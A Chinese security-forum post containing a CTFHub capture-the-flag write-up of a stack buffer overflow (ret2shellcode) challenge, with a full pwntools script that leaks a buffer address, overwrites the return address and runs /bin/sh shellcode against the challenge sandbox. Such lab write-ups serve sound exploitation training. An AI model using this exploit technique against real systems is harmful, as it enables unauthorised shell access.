设为首页收藏本站
查看: 430|回复: 5

[原创] 【ctfhub】栈溢出ret2shellcode

[复制链接]
  • TA的每日心情
    奋斗
    5 小时前
  • 签到天数: 373 天

    [LV.9]以坛为家II

    发表于 2025-5-23 20:31:18 | 显示全部楼层 |阅读模式
    题目文件(ctfhub要开环境才能下载,所以我直接发给你们研究)


    checksec意思一下


    ida,启动!


    明显栈溢出(题目都叫这个名字了)
    再看看栈


    过程:
    伪代码写了题目交互会给buf地址,先接收
    buf,var_8,s全都填充就好了,
    把shellcode放在这里全部变量的后面,也就是buf地址+32
    返回地址r覆写成shellcode地址
    结果就是跳到shellcode地址执行shellcode

    实现代码

    1. from pwn import *

    2. # context.log_level = "debug"
    3. context.arch = 'amd64'

    4. # p = process("./pwn")
    5. p = remote("challenge-a43794078f70a174.sandbox.ctfhub.com", 24635)
    6. buf_addr = p.recvuntil("]")
    7. buf_addr = int(buf_addr[-15: -1], 16)
    8. shellcode_address = buf_addr + 32 #shellcode地址=buf+var_8+s+r+返回地址
    9. shellcode = asm(shellcraft.sh())
    10. #payload填充buf+var_8+s,返回地址覆写为自己的下个字节也就是shellcode地址
    11. payload = b'A'*(8*3) + p64(shellcode_address) + shellcode
    12. p.recv()
    13. p.sendline(payload)
    14. p.interactive()
    复制代码


    getshell !

    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?注册

    x

    点评

    支持一下  发表于 2025-6-6 15:25
    谢谢分享  发表于 2025-5-28 17:23
    支持一下  发表于 2025-5-25 20:06
  • TA的每日心情
    开心
    12 小时前
  • 签到天数: 591 天

    [LV.9]以坛为家II

    发表于 2025-5-31 18:45:40 | 显示全部楼层
    谢谢分享,已回复。
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    红盟社区--红客联盟 

    Processed in 0.060049 second(s), 23 queries.

    站点统计| 举报| Archiver| 手机版| 黑屋 |   

    备案号:冀ICP备20006029号-1 Powered by HUC © 2001-2021 Comsenz Inc.

    手机扫我进入移动触屏客户端

    关注我们可获取更多热点资讯

    Honor accompaniments. theme macfee

    快速回复 返回顶部 返回列表